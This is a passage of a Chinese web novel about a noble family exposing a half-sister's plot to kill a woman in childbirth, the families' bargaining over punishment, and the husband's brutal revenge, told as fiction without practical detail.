按里面产婆的说法,应该是已经破羊水了,如果孩子憋的时间太长,就算是能平安生下来,只怕也会是个傻子。 更何况,这种情况下,平安生下来的概率好像不足三成。 更要命的是,还有大出血的前兆! 许君霆只觉得天都塌了,毫无意识地直接就坐地上了。 “媳妇?” 许昭昭摇头,掏出一个小瓶子,交给了王若兰。 “母亲,这是孙神仙赠的药,您进去给三嫂服一颗吧。只服一颗即可,说是专门应对难产的。” 一旁的芍药嘴快道:“这可是我们主子好不容易求来的,那孙神仙光是配这药就花了一个多月,金贵着呢,外面有钱都买不到。” 许君霆一听这话,眼睛里立马又有光了。 王若兰也来不及多想,直接带着瓶子进产房了。 又过了一刻钟,王若兰才出来,面色欣慰:“按产婆的说法,产道开了,孩子的位置明显下滑,现在就只需要等着便是。” 听到这话,季氏才觉得一颗心又落回到肚子里,软弱无力地坐回到凳子上。 至于许君霆,也终于在下人搀扶下站起来了,拍拍屁.股,他到许昭昭跟前就是深深一揖。 “好妹妹,这次多亏有你!” “行了,三哥,那是我三嫂,又不是外人。咱们自家人可兴这一套。你若是真有心,不管这生出来的是男是女,小名都得让我来取!” 许昭昭取名其实并不高明,但就是喜欢这个。 许君霆抹一把汗:“这有何难?只要他们母子平安,大名让你取了都没问题。” 这话换来王若兰一巴掌:“没规矩!大名自当是你父亲来取,像什么话!” 许君霆撇嘴,退到一旁,不敢说话了。 里面的动静明显不一样了,许昭昭坐了一会儿,无意间一扭头,正好看到了李明淑身上佩戴的一方玉佩,如果她没记错的话,那个玉佩好像还是她未出阁时,三哥曾经收起来的。 所以,这玉佩怎么会到了李明淑的身上? 许昭昭一个眼神,紫苏便不着痕迹地凑过去。 在李明淑毫无察觉的情况下,这枚玉佩就到了紫苏的手上。 “三哥,你过来。” 许昭昭将许君霆叫到远一些的廊下:“你可送过李明淑什么东西?” 许君霆一脸茫然:“没有啊!我送她东西做什么?男女有别,而且她还是我的小姨子,昭昭你可别害我。” “那你看看,可识得此物?” 许君霆接过来一瞧:“这不是去年我送给你三嫂的吗?我记得清清楚楚,这上面的络子还是她亲手打的,说是以后就常戴,日后再传给我们的女儿。” 这方玉佩的体积偏小,很多女子都会佩戴这样的玉佩,一来是为了压裙,二来也是为了美观,三则是足以彰显身份地位。 但是显然,许君霆并不知道这方玉佩出现在了李明淑的身上。 而据许君霆所言,这玉佩是送给三嫂的。 所以,是怎么到了李明淑身上的? “三哥,今日三嫂会动胎气,只怕是另有隐情。此事若是不能解决清楚,只怕你和三嫂之间的情份也会出问题,日后再难恩爱如初了。” 第444章 真歹毒呀! 许君霆立马精神起来:“妹妹,可是有什么不对?至于你说的这个玉佩,真是去年我就送给你三嫂的。至于她后来一直没用,可能是因为怀孕了,所以收起来了?我,具体的我是真不知道,我把东西给她后就不再问了呀!” 许君霆是真急了。 他压根儿不知道这块玉佩到底怎么了。 “昭昭,这玉佩你是从哪儿看到的?是不是这玉佩被浸了药,所以才害得你三嫂早产的?” “当然不是!这是从李明淑的身上拿回来的。” 许君霆听得一脸懵:“李明淑?难痢是我媳妇给她的?但是不可能呀!这是我送她的,她怎么可能再转手送别人?况且这可是玉佩,这等物件儿,岂能随意乱送?” 男女之间原本就不能随意乱送东西,更何况还是玉佩这样的私有性更强的物件儿? 许昭昭也觉得不可能是三嫂送的。 那么问题便来了,这玉佩是如何到李明淑身上的? 李明雅之所以动了胎气,是否是因为正好看到了这枚玉佩? 许昭昭将事情跟王若兰一说,立马就引起她的重视。 好在有许昭昭送过去的药,一个时辰之后,孩子总算是顺利生下来了。 大家伙一起等到这会儿,早过了用午膳的时辰,但是所有人的注意力也都在产妇身上,自然不会想到要吃东西。 等到里面的产婆跑出来报喜,自然是心思各异。 “恭喜夫人,恭喜三公子,三少夫人生了一名千金。” “好!好!我许家终于也有孙女了。来人,赏!” 产婆得了赏,竟然是一把银豆子,可是乐得半天合不拢嘴。 里面总共有两个产婆,还有外面候着的一位大夫、一位太医,再加上里面的嬷嬷等等,所有人,王若兰全都赏了。 当然,对于太医,王若兰是直接命人送回去,这就不叫赏,这叫谢礼。 至于季氏,则是面色担忧,女儿竟然生了个姑娘,这就等于是三房没有嫡子呢! 王若兰可顾不上她了,直接喊话:“传令下去,今日所有在三少夫人这里服侍的,月钱全都翻一倍!” “谢夫人赏!” 许君霆早就迫不及待地想要看看自己的亲闺女了,可惜,一时半会儿抱不出来。 而且孩子太小,现在也不能随意在外面露脸。 等到一切安排妥当,只有李明雅还在产房里躺着,她得再多躺一会儿,才能挪动到主屋去。 “夫人,午膳已经备好了。” 这离正经午膳时辰都过去一个多了,王若兰经她一提醒,才发现肚子真有点饿了。 李明淑没料到这位嫡姐竟然还能母女平安,不过这样也好,反正没有嫡子,以后自己嫁进来,先生下长子,到时候三公子定然会向着她。 季氏心不在焉地吃了饭,还是高兴于女儿平安,能生一胎,就能再生第二胎第三胎,总能生个大胖小子出来。 季氏想通了,这脸上的笑容也就多了几分。 等到都吃饱肚子了,季氏便提出来告辞,却被王若兰给叫住了。 “来人,将这些都撤了吧。亲家母,咱们去那边说话。” “是,您请。” 不在这里议事,只是单纯地不想影响到李明雅休息。 但是等王若兰带她到了一处厅堂时,才发现这外面竟然跪了一地的奴婢。 “许夫人,这是?” “这些人都是在三儿媳身边伺候的,这其中有几个,我想亲家母应该也认识。” 季氏仔细打量几眼,发现还真是如此。有几个还是明雅的贴身奴婢呢。 “她们怎么会在此?明雅刚刚生完孩子,如今正需要人侍候,许夫人?” “亲家母别急,先坐。” 李明淑往后站了站,突然有一种不太好的预感。 等她想要将玉佩藏起来时,却突然被人攥住了手腕。 “你要做什么?”李明淑质问。 紫苏冷笑一声,直接将人拖到了前面,然后一脚踢向对方的膝窝,扑通一声便跪下了。 紫苏早在主子和三公子商量过之后,便又将这玉佩给她悄无声息地还回来了。 所以,眼下,这枚玉佩就这么堂而皇之地系在了李明淑的腰上。 “母亲救我!这许家欺人太甚!嫡姐刚刚为他们生下女儿,他们便这样待我,还请母亲为我作主呀!” 季氏也被这一幕给弄糊涂了。 但她不傻,她看向王若兰,一脸疑惑:“许夫人,您这是?” “来人,将三少夫人身边服侍的几个丫环叫过来问话。” “是,夫人。” 王若兰指着李明淑身上系着的那枚玉佩问道:“此物可是你家少夫人所有?” 几位丫环都点头确认,唯一人眼神躲闪,显然是察觉到了不妙。 许昭昭一个眼神,芍药立马将那个丫环一巴掌打倒在地。 “贱婢!险些害了主子性命,你们全家人都死上两回也不够赔的!事到如今,还不赶紧说实话!” 被打的丫环脑子懵了一瞬,之后看到坐上的两位夫人,一下子就慌了神。 “夫人饶命,奴婢也是被胁迫的呀,是,是明淑小姐说喜欢那枚玉佩,还拿奴婢老子娘的性命威胁,奴婢才不敢不从的。” 王若兰冷斥:“说清楚些!” “是,是明淑小姐对三公子动了心思,想要嫁过来,所以便让奴婢暗中做手脚,偷了这枚玉佩,今日她这样堂而皇之地系在身上,正好被少夫人看到,少夫人便以为是三公子送的,这才伤了心神。” 季氏没想到竟然还有这样的隐情:“你,李明淑,你放肆!” 许昭昭提醒道:“伯母先别急,坐下听她们把话说完。仅凭着一枚玉佩便能嫁入国公府?李明淑未免想得太过简单。但她明显不是这样蠢笨之人,所以,她应该是还有后手吧?” 被打的丫环吓得一下子葡伏在地,大喊:“奴婢知错了,请夫人开恩呐!奴婢没想过害主子的,是,是张嬷嬷做的,奴婢偷听到了张嬷嬷和明淑小姐的对话,她们要给小姐下药,然后想让小姐难产而亡,而且做的打算是去母留子,这样明淑小姐就可以以继室的身份嫁进来了!” 第445章 失望 这也太吓人了呀! 李明淑竟然敢谋害自己的嫡姐,而且还妄图以继室的身份嫁过来? 这人的脑子是怎么长的,这胆子也太大了吧? 李明淑扑通一声,直接就跪在地上。 事情到这一步,已经不是她不承认就可以当做什么都没有发生过的了。 张嬷嬷被带下去打了二十板子,把一切都招了。 张嬷嬷原本是李明雅的陪嫁丫环,谁能想到,身边最得力的下人,却一心想着要自己的命呢! 太医这边也确认过,若非是因为王若兰给产妇服下了那颗药,只怕现在已是一尸两命。 季氏完全都傻掉了。 她自认待这个庶女不薄,何故要如此对待她的女儿呀! “你说清楚了,这玉佩是你偷出来,然后再送到李明淑手上的?” “是,是奴婢偷的。明淑小姐说,三少夫人大着肚子,又向来多愁善感,禁不起刺激。” 一切都说得通了。 李明淑也太狠了! 事情到这个地步,可不是季氏说如何处置就能行的。 现在许翰还没回来,但是不代表信国公府里就没有能顶门户的人了。 许君安也收到消息回来了,听到如此炸裂的言论,他也是不知道该如何评价李府了。 能养出这么狠毒的一个庶女,而且还心比天高,李家到底是得有多没有规矩呀! “来人,请李大将军过府一叙。” 许君安发话了,这事情自然就不是王若兰能劝得动的了。 “此事李家有错,但你三弟妹如今刚刚生产完,而且给咱们家添了一位女娃娃,你也要顾着你三弟和三弟妹的体面。而且这可是我的头一个孙女,你父亲若是知道了,定然也会十分欢喜。你可明白?” “母亲放心,此事儿子心中有数。” 李章平看着早已花了妆容,仪态全无的女儿,自然是气不打一处来。 他平时虽然疼爱这个女儿,但嫡庶有别的道理他还是知道的。 所以,一直以来,夫人尽量给足了这些庶子庶女们颜面,他也自以为是娶到了一位贤妻,但是自打上一回发生了抢亲之事后,他就开始反思是不是做错了。 而这一次,庶女竟然要谋害嫡女,这可是重罪! “李明淑,为父自认平时也未苛待你,无论是衣食住行,还是其它,你母亲也未曾克扣你,你为何如此狠毒,竟然还妄想害死明雅,甚至是取而代之?” 李章平是百思不得其解呀。 自己这是造了什么孽呀! 关键是以李府的门第,也不至于让李明庶低嫁,而且也未曾想过将她许以某人为妾,所以她这又是何故? 李明淑自然还是不肯承认,一口咬定了就是这两个贱婢在冤枉她。 但这二人可不是李明淑想甩就能甩脱的。 “夫人明鉴,明淑小姐给奴婢的镯子、银簪,都在奴婢住的屋里,夫人可派人去搜,奴婢绝不敢撒谎!” 那位张嬷嬷也被吓得不轻,如果这罪责让她自己一人担了,那她一家老小都得不了好呀。 “夫人明查,老奴也是一时被猪油蒙了心,那明淑小姐带着两块银铤来求我,老奴这才没忍住呀。如今那银铤就藏在……” 这二人又招一波,李明淑想不认都不行。 “来人,将这三人绑了,嘴也堵上,暂时押至柴房,仔细看着,万不可让她们跑了!” “是,夫人。” 李明淑刚刚喊出一声:“父亲救我!” 之后就被堵了嘴,然后由两个壮硕的婆子给推拉出去。 李章平看到女儿被人这样粗鲁的对待,自然是不舒服的。 但这里是信国公府,而且,李明淑差点儿害死了李明雅和她的女儿。 “李将军,此事你打算如何处置?” 这话是许君安问的。 李章平刚过来就听说这件事,到现在脑子还是乱的,自然也说不上一二三来,下意识就去看自己的夫人。 季氏心中自然是恨毒了李明雅,恨不能将其千刀万剐,但是再恨,也得先压着,不能将整个李家跟着丢脸。 “许夫人,许世子,此事的确是明淑之过,她险些害了我的女儿和外孙女,我自然不能轻饶了她。还请夫人高抬贵手,让我们将这个孽障带回去,必然狠狠地惩治她。” 这话等于没说。 怎么算是狠狠地惩治? 李将军现在愿意重惩,回到李府之后,还会如此吗? 再说那个李明淑一看就知道不是个好的,怎么可能会不想办法自救? “李夫人,不是我不给你这个面子,实在是此事太大。而且如今我家老爷不在京中,今日老三媳妇生产你也看到了,可谓是九死一生!若不是我的女儿大方,愿意拿出孙神仙给的救命药,你们夫妻二人现在还能坐在这里好好跟我说话吗?” 王若兰这话说得不客气,但她有这个资格! 她是国公夫人,内命妇中,除了王妃就是她的品级最高了。 她还是李明雅的婆母,按规矩,嫁到了婆家,李明雅就是婆家的人,所以,现在王若兰做为婆母,要为儿媳讨回公道,这再合理不过! 季氏没想到她突然一番话说得这般不客气,小心翼翼地看向了一旁的李章平,知道此事李家必然是要付出代价的。 李章平现在脑子里也总算是理出来一丝头绪。 “许夫人,此事的确是李明淑之罪过,好在如今明雅母女平安,也算是虚惊一场,你放心,这李明淑我带回去之后,必然重惩,日后也绝对不会再让她登信国公府一步,您以为如何?” 王若兰瞪大眼睛,然后看向了一旁的季氏,但见她低着头,应该是没有反对意见,一时间对这位亲家母是颇为失望。 李明雅可是差点儿就没了! 这人脑子里都在想什么? 只想着李家的名声和荣耀,所以亲生女儿的死活根本就不要紧吗? 王若兰不能理解这种脑回路,若是她的女儿被人这样谋害,豁出命去,她也得为女儿讨个公道! “你们李家的态度,我算是看明白了。” 王若兰冷笑一声:“君安,你一会儿就去写折子,将今日之事,一五一十记下来,明日呈至御前!” 第446章 不该千刀万剐吗? 李章平的眼神一闪,亲家母这是要闹大? 李章平连忙出声问道:“许夫人,此事我家明雅可知道了?” 王若兰慢悠悠道:“明雅才刚刚生产完,险些大出血,身子可是虚得很。这种事,就算是要告诉她,至少也要过了今晚,否则,只怕李明淑的心愿就要达成一半了!” 李章平一噎,几息后反应过来,亲家母这是怼他呢。 李明雅差点儿没命,现在需要静养,若是有人敢将此事告李明雅,万一她情绪激动之下,再出现大出血的情况,那可就真的是要没命了。 真要是那样,可不就是李明淑的心愿达成一半吗? 李章平面上讪讪,以眼神示意季氏说话。 季氏其实不知道应该怎么办,她也没遇到过这种事呀! “许夫人,此事的确是不宜现在告知明雅,您待她好,我心中感激。至于李明淑,依您看,当如何处置为妥?” 绕这么半天,总算是说出一句能让王若兰听了不那么反感的话。 还知道问问她这个女主人,也是不容易。 “这三人作恶,事实俱在,自然应该送官法办!” 李章平立马就急眼了:“不可!” 真送官了,他们李家其它的女儿还要不要找婆家了? 还有,李家往后再娶妻都不好说婚事,谁家好姑娘愿意嫁到有杀人凶手的人家? “许夫人,此事不可送官呀,否则我李家的名声尽毁,家中还有未曾许亲的儿女,还请许夫人能体谅一二。” 王若兰早知道他会这么说,一脸为难:“若不如此,如何能让凶手得到法办?这主谋若只是一介奴婢也就罢了,大不了直接乱棍打死,又或者是发卖出去。可这主谋是你李家的小姐,她谋害嫡姐,罪不容诛!难道李将军要大义灭亲?” 这意思,就是李明淑得死了? 李章平被这话给问住了,他没说要大义灭亲呀。 而且不过是一个姑娘家家的,再说李明雅也没事呀! 何必闹这么大? “许夫人,你看这样可好,我们将李明淑带回去,我即刻将她许配出去,将她远嫁,并且家世上也绝对不会往太高的挑。另外,我李家再给刚刚出世的小外孙女送上一份厚礼,你以为如何?” “刚出生的小孩子,哪里能受得起什么厚礼?而且还是个女儿家,你这是要害我们家孙女不成?” 李章平再次被噎,都不知道应该怎么说话了。 季氏现在心里头是既窝着火,又有着几分酸楚,女儿被人害得险些丢了命,可她却还要顾及家族名声来保全一个杀人凶手,想想都憋屈! “许夫人,是我说错话了,那些都是给明雅的。而且,平时明雅和明淑也是姐妹情深,若是真地将明淑处置了,明雅心里也会不好受的。” 李章平的暗示,所有人都听懂了。 恰在此时,许昭昭笑出声来。 所有人都看向她,没想到这个时候,竟然还能笑得出来? “李将军这话说得真是好笑!正是因为平时的姐妹情深,才养大了李明淑的胃口,才让李明淑有恃无恐,更让李明淑认定了李家一定会救她,毕竟,李家不愿意出一个杀人凶手的女儿。” 这话是直接将李家外面的这层体面给撕下来了。 许昭昭面色如常,话锋一转:“可你们谁想过我三嫂的感受?平时待李明淑宛若同胞妹妹,可是这个同胞妹妹转头就捅了她一刀,三嫂怕是肠子都悔青了,又怎会觉得恶人受到惩罚而不高兴?” 许昭昭转头正对上李章平的目光。 “李将军,在战场上,你一直当做兄弟的人,从背后直接给你一刀,你若不死,会饶了他吗?” 什么事情,就怕套在自己身上。 若是战场上真有这样的叛徒,死一百次都不为过! 李章平心中有火,但也知道这火不能撒,尤其是不能对着这位郡主撒,惹不起! “郡主,这岂能相提并论?” “为何不能?只不过是将受害者,由我三嫂换成了将军,将军便觉得对方是罪不容恕,该千刀万剐。可为何受害者成了我三嫂,便想着不要将事情闹大,要体面,要名声,要让我三嫂忍呢?” 这话的确是越琢磨,越难受! 许君霆再也受不了,蹭一下站起身来。 “险些出事的是我娘子和我女儿,这件事情,我和明雅才是真正的苦主。你们说了都不算!李明淑那个贱人,我就是要让她尝尝千刀万剐之痛!” 王若兰被他突然爆发,吓得一激灵:“坐下说!长辈还在呢,不像话!” 许君霆岂能不知道母亲并非是真地在训斥他? 干脆,他脖子一梗,硬气道:“母亲,这事谁说也不行,要么送官,要么让李明淑死!哼,若是李将军不答应,也不需要大哥费神了,我自己写折子上奏!” 许君安这边直接一脚踢过去,许君霆一时不备,正好就给跪在那儿了,抬头,正对上了母亲的目光。 许君安踢完人才训斥:“胡闹!当着长辈们的面儿,你胡说什么呢?还李将军,那是你岳父!没大没小,我看你就是欠抽了!” 许君霆哼一声,脖子一歪,一副谁说我也不听,天王老子都拿我没办法的样子,生生把李章平和季氏给吓着了。 尤其是季氏,她明白自己的几个孩子里,就是明雅最有福气,嫁到了信国公府。 若是将这个女婿得罪了,往后定然有麻烦。 “世子快消消气,君霆,快起来。” 季氏说着,便上前亲自将人扶起来。 许君霆低着头,但仍然站在那儿,看样子就是想要为娘子和孩子讨个公道。 许君安一看他这样子就来气,一把将人给扯到了后面:“别使性子,母亲和为兄在这里,自会为你和弟妹做主。你也莫要说浑话。咱们两家是亲戚,那是你岳父岳母,有什么话咱们好好说,坐下来慢慢商量,不可再胡来!” 季氏听得心里头总算是踏实一些:“对对对,世子说的没错,咱们再商量,女婿你别急,先坐着。明雅是我身上掉下来的肉,她险些没命,我又岂能不急?可是再急,这事儿咱们也得想法子解决不是!” 季氏说着话,声音已经哽咽。 如果今日她没带着李明淑来,兴许这一切就都不会发生了。 说到底,是她险些害了女儿呀! 第447章 跪着吧 季氏想到这些,便一时间忍不住开始捂脸轻泣,一旁的李章平情绪复杂,对李明雅他也是疼爱的,只是他膝下不止一个孩子,又不是他要经历生育之苦,所以他在某种程度上,没有办法和季氏达到共情。 许昭昭微微叹息,这位李夫人的性子还是太柔了些。 身为一府主母,就算是想要内宅和睦,也完全没必要太过宠溺那些庶子庶女们,说到底,是他们做为长辈的给了孩子们这样的错觉,觉得自己做什么都不算是太过分。 许昭昭想到还躺在后面的三嫂和孩子,再看看一脸怒气未消的三哥,她知道这件事情,李家是一定会妥协的。 先不说如今许家势大,只论对错,李家就不占理。 所以他们没有资格提要求,提条件! 李章平见妻子在那里伤心,生硬地劝了两句后,便又道:“亲家母,这件事情的确是明淑错了,我们认。但是真不能告官呀。要不这样,我们将人带回去,先打二十板子,之后您说如何处置,咱们就如何处置,可行?” 这听着还像句人话! 王若兰不动声色地松口气,就怕这个李章平太偏心呀。 “我还是那句话,李明淑,必须死!” 至于怎么死,王若兰没说,李章平大概也能猜出来了。 “亲家母,你看能不能再商量商量?毕竟明雅没事,若因此而要明淑一条命,委实说不过去呀。” 王若兰脸色立马变了:“这是什么话?你的意思是我们家老三媳妇就该着没命?你这是在怪我女儿不该拿着救命药来救下她三嫂?李将军,没有你这么讲理的呀!” 李章平连忙解释:“误会,误会呀!我不是这个意思!” “那你是什么意思?什么叫明雅没死,所以李明淑就不能偿命?呵,别人我不敢说,但若是有人敢来谋害我,你看看官府会不会判凶手斩首示众?” 李章平意识到自己刚刚说错话了,连忙往回圆:“亲家母,我不是这个意思,我只是一时口误,绝没有这个意思呀!明雅是我的女儿,我自然是要盼着她好才是。” 王若兰冷哼一声:“真以为我好糊弄呢?人你们接回去了,什么时候处置?你那娇妾在耳边再说几句软话,你是不是就不打算处置了?” 王若兰越想,越觉得这种可能性很大,火气也就越来越旺。 “老大媳妇,我知你如今辛苦,但是没办法,咱们许家被人欺负了,再辛苦也得为许家人讨回一个公道,老爷不在家,还有我呢!明日你换上命服,咱们一起去请皇后做主。” “是,母亲。”张氏规规矩矩地应下,她也觉得李家二老未免太过冷血了。 一心只想着李家名声,想着维护这个庶女,却不想想险些没了命的李明雅! 好在自己娘家并非如此,婆婆又是位明事理且待人和蔼的性子,否则,真是要生不如死了。 李章平见事已至此,知道不是他能压得下来,只能服软道:“您先消消气,这是家事,何必劳动陛下和皇后?这样吧,三天,三天之内,我定然会处置了李明淑,你看如何?” “可以。不过你们带走她之前,得先受我许家的罚。” 李章平见亲家母松口了,罚就罚吧,总得让人家消了这口气。 张嬷嬷和丫环都是李明雅的陪嫁,自然是该着许家来处置。 至于李明淑,王若兰给的处置也简单,就让她在李明雅的院子外面跪着请罪,还要自己掌嘴。 这样的处置,委实是丢脸至极。 但是李家没办法,差点害了两条人命,这么一点要求,不过分。 于是,李章平和季氏走了。 走之前,他们去探望了李明雅。 李明雅现在已经醒了,再等一会儿便可挪回主屋,李章平没进去,只在屋外说了几句话,嘱咐她好好休养,照顾好孩子。 这夫妻二人一走,接下来便是李明淑了。 李明雅顺利地度过了危险期,然后被几个下人抬着送回主屋。 说是主屋,其实是单独给她用来坐月子的屋子,并非是她和许君霆的那间屋子。 待出了月子,再挪回去。 这么做,其实是为了让他们夫妻二人分开睡,同时因为李明雅现在身子还不干净,这样可以免得被夫君撞见,太过尴尬,而且还会影响到以后的房事。 这些都是王若兰说给许昭昭听的。 许昭昭这才明白为何于嬷嬷和徐嬷嬷她们会早早地又收拾出一间屋子来,合着就是用来给她坐月子用的? 啧,富贵人家,果然是规矩多。 换了寻常百姓家,哪有这么多的讲究? 生完孩子,还是回自己的屋子住,至于男人,要是嫌弃就去和兄弟们挤挤睡吧。 过了一晚,李明雅才发现到不对劲,以往服侍的两个人少了,她自然是要问的。 许君霆先照顾她喝了一碗粟米粥,这才将事情的始末告诉她了。 李明雅都要被气哭了。 “所以那枚玉佩,只是被丫环偷走后送她的?我,我还以为是你上次去库房里找出来,特意送给她的。” 许君霆无奈:“我都送给你了,又怎么会再转手送给旁人?再说了,你心中有疑问,为何不自己去查一查看一看?你何时注意到那枚玉佩的?” 李明雅有些心虚:“上次她和母亲一起过来探望我时,便注意到了。” 上次? 许君霆转着眼睛想了想,那应该是一个多月以前了? 所以那么早的事,她发现了,却是提都不提一句,只是自个儿躲起来伤怀? 这是什么性子! 许君霆头一回对自己的眼光产生了怀疑。 他虽是文臣,心思也比其它两个兄长更细腻一些,但那也只是跟他们比,若是跟纯纯的文人比,他的心可没那么细。 “明雅,我没想到你竟是这样的心性。你既发现了不对劲,为何不来问?还有,你看到她身上有玉佩,为何不去查查自己的库房,你的私库有专人在管,何人进出拿东西,难道会没有记录?” 第448章 晚了! 李明雅一愣,显然是真地没想过这些。 她这样的表现,在许君霆看来,就是李明雅这人疑心重,只是看到她庶妹戴了那枚玉佩,便下意识怀疑是自己与李明淑暗通曲款,竟从未想过会有其它的可能性! 这个认知,让许君霆心里颇为不满,同时又有几分憋闷。 他不知如何面对妻子,只是在看过女儿一眼之后,匆匆离开。 李明雅也是突然才意识到,她好像从来就不了解自己的夫君,而且他说的对,自己为何没有想过去查查呢? 许君霆缠着许君安陪他喝酒,喝着喝着就哭起来,凭什么呀? 怎么一有不好的事,就往他头上怀疑呢? 他若是真做了那他认,可问题是他根本不知情呀! 所以,他总觉得自己怪冤的。 许君安也没想到三弟妹会是这样的性子。 再想想她身边出的这两个恶仆,更觉得三弟妹这样不行,日后若是孩子们多了,她管理内宅时,是否会让孩子们受委屈? 按说武将家的女儿,鲜少有李明雅这种性子的。 而且家里头的女眷们,估计也就只有李明雅这样。 安和县主向来是有什么说什么,张氏比她好一些,其实也是因为嫁进来几年,被婆母给调.教的。 毕竟张氏是长媳,以后这国公府还是要交给她来管的,所以王若兰对她更为看重一些,也愿意多教教她。 安和县主只管着自己的小院子,过自己安稳日子,她和许君锋之间可没有那么多的猜忌,向来是有话直接问,而且别看许君锋在外面多么威风霸道的,一回到家,就是个妻管严! 安和县主只要出了自己小院子的门,便总是一副以夫为天的样子,时时处处给夫君体面,也因此,他们夫妻一直很恩爱。 目前为止,也就是许君霆两口子闹矛盾了。 还好,不算是什么大问题。 而且小夫妻嘛,再磨合磨合就没事了。 李明淑被罚跪一天一夜,最后走的时候,根本就动不了,还是被下人搀扶着上的马车。 许家也没有故意苛待她,没有让她跪在碎瓦片上就已经是仁慈了,又怎么可能再给她弄个软垫子跪? 李明淑的脸也被打成了猪头,她自己舍不得下力气,但是许君霆的人可没有什么怜香惜玉的心思。 李明淑被接回来,李章平只是看了一眼之后,便不愿意再搭理她。 如果不是因为她,也不至于让他在亲家面前低了一头。 一切都是她自找的! 季氏看到这样狼狈的李明淑,只觉得解气。 但是还不够。 当天晚上,李明淑睡到半夜就被冻醒了,她自己身上的被子不翼而飞,想要喊人,又一个都喊不听,而且屋门还被锁了。 李明淑无奈,只得将自己的一些旧衣找出来裹到身上。 也是在找衣裳的时候,她才发现自己的大部分衣物都不知所踪。 就这样硬捱到了天亮,李明淑总算是能从屋里出来了,她又是哭又是闹的,总算是将李章平给请到了自己的住处,却发现无论是衣物还是被褥都整整齐齐放得好好的,何来故意冻着她一说? 况且,李章平对这个女儿是真地没有耐心了,直接甩袖而去。 李明淑被气得哭了半天,却是没有一个人过来劝慰她。 李明淑做的事虽然是不能到处声张,但是府里头的人还是知道的。 所以,李明淑现在在李家就像是一块臭狗屎,没有人愿意搭理她。 况且,得罪了主母,哪个人还愿意再给自己找麻烦? 三日之期一到,季氏冷眼看着李章平,心中的不满几乎达到了顶点。 李章平叹气:“你看我做什么?你以为我不想真地让她死吗?可问题是她也不知道从哪儿巴上了姜家的人,现在姜家的人出面求情要保她,我能怎么办?” 季氏冷笑:“姜家与许家有仇,夫君不会不知道吧?” 李章平一怔:“这种事,不能相提并论。况且,朝堂之上,没有永远的敌人,只有永远的利益。所以,谁能知道会不会过几天他们两家又和好呢?” 季氏一脸讽刺,说什么是永远的利益,不过就是不想得罪人罢了。 姜家? 就现在的姜家,除了宫中还有一位姜贵妃之外,还有什么人是能拿得出手的? 那人主动上门给人作妾的姜宁? 一家子乌合之众! 季氏没有办法做什么,但是她可以把消息递给女婿。 上次险些让女婿怨上自己,这一回,说什么也不能再做蠢事了。 李明淑身边跟着一个婆子和一个丫环,三人同乘一辆平平无奇的旧马车,总算是出了城门。 李明淑这才敢掀起帘子看一眼外面,目光阴毒地回头瞪向那高高的城墙。 “李明雅,你给我等着,我不会放过你的!” 时至今日,她仍然没有悔过自新,反而愈发地痛恨自己嫡姐了。 所以说,许家怎么可能会放过她呢? 马车刚要改道上大路,就被一队人马给围了。 车夫是李章平从外面找来的,只说是将一个远亲送到乡下,给出了六十文辛苦钱。 许君霆没有为难他,让他走了。 但是里面的三人,可就没有那么好的福气了。 “李明淑,既然你不想死,那我成全你!” 李明淑此刻脸上红肿未消,眼睛更是细得像条缝,看到骑在高头大马上的许君霆,她竟再次生出了想要攀附之心。 “三郎,我倾慕于你,何罪之有?” “闭嘴吧你!” 许君霆被她这一声三郎叫得浑身起鸡皮疙瘩。 一声令下,三人都被拖下来。 那两名仆从都是李家的旧仆,许君霆直接命人搜出了卖身契,然后再打发到了李明雅陪嫁的庄子上去做苦役。 至于李明淑? 呵呵,她可没有那么好命了。 “给她灌下去!” 许君霆去求了许昭昭一遭,然后弄来了一些药,可以让李明淑彻底地变成一个哑奴。 “将她的右脚和右手的筋挑断,不许医治!” “是!” 李明淑百般挣扎无果,换来的还是扎心般的疼痛。 许君霆下马到她跟前:“现在,还敢再想害我的妻儿吗?” 李明淑拼命摇头,只盼能饶她一回。 “晚了!送去矿山,那里的劳工们可是天天盼女人呢!” 第449章 承松 李明淑半路上就被人截走的事,李章平是在半个月之后才知道的。 是因为姜家有人过来询问怎么没接到李明淑,李章平才命人去查,结果查到了那个车夫,他说自己只是看到一群人围住马车,说是找里面的人来报仇的,然后就被放走了。 李章平如何还不明白,这是许家人做的! 但是能说吗? 不能! 因为李家已经对外公布李明淑死了,而且是先说李明淑死了,才发生了后面的事,所以这件事,李家没理。 他现在甚至害怕许君霆再过来找他的麻烦。 因为他没有真地让李明淑死,这就已经是言而无信了,许家定然会恼了他。 果然,之后李家的人遭遇了各种各样的打击。 但庆幸未曾出现在朝堂。 只是,李章平担心自己如果还不能表态的话,估计离自己倒霉也不远了。 不是李章平胆子小,实在是许家这一家子人做事都毫无章法,你是真不知道他们会什么时候发一下子疯,打你个措手不及。 李章平的担心是对的。 因为许君安的确是打算对李家人下手了。 如果这件事许家不能摆出一个姿态来,岂非是告诉所有人,许家人好欺负? 这可不行! 父亲和二弟在边关那么卖力的打仗,就是为了让他们的家人受委屈的? 妹妹给朝廷做了那么多事,还给陛下送了那么多的好东西,就是为了让她娘家人有气不能出的? 那不能! 不存在! 李章平也就是这几年不怎么打仗了,所以脾气没有以前那么爆。 当然,或许也是因为知道自己比不上许家,所以知道只能低头。 在李章平的一个侄子被抓,一个堂弟被罢官之后,他终于还是坐不住了。 许君安也没有为难他,至少在礼数上,给足了他尊重。 “叔父放心,既然您有诚意,此事我便命人适可而止。” “有贤侄这句话,我就放心了。实不相瞒,我当时也是无奈呀。也不知道那个混账东西是怎么跟姜家搭上了线,我得罪不起呀!” 李章平在一个小辈面前,毫无遮掩地将自己的难处和盘托出,这才是真地意识到前途比脸面重要了。 李章平走后,许君安便命人将这些东西全都送去了三弟的院子。 既然是给李明雅的补偿,那自然归三房自己所有。 李明雅得知之后,又去看了那些东西,除了十万贯钱之外,还有一些丝帛瓷器,这些都抵得上府中两三个庶女的嫁妆了。 果然,嫁对了人,就是不一样。 若是李明雅嫁的不是许家,哪怕她受了这样大的委屈,也不可能有这么多的补偿,更不可能会直接让李明淑暴毙。 许家势大只是其一,最重要的是,许家当真是护着自家人。 哪怕是已经出嫁的许昭昭,也是要维护自己的娘家人的。 李明雅叹息一声,这次的事情,是自己错大,她不该妄下定论,也不给夫君辩驳的机会,是她错了。 李明雅命人选出一些上好的瓷器,然后命人分别给几位长辈送去,这一回,她也没落了二叔一家。 之后又将几匹颜色还算是亮丽的丝帛分别给长房和二房送去,如果不是因为有他们在,自己兴许也等不来一个公道。 李明雅的这番做法,倒让许君霆对她的怨气少了几分。 虽然是蠢了些,但好歹不糊涂,而且也不是那等抠门吝啬的性子,还是不错的。 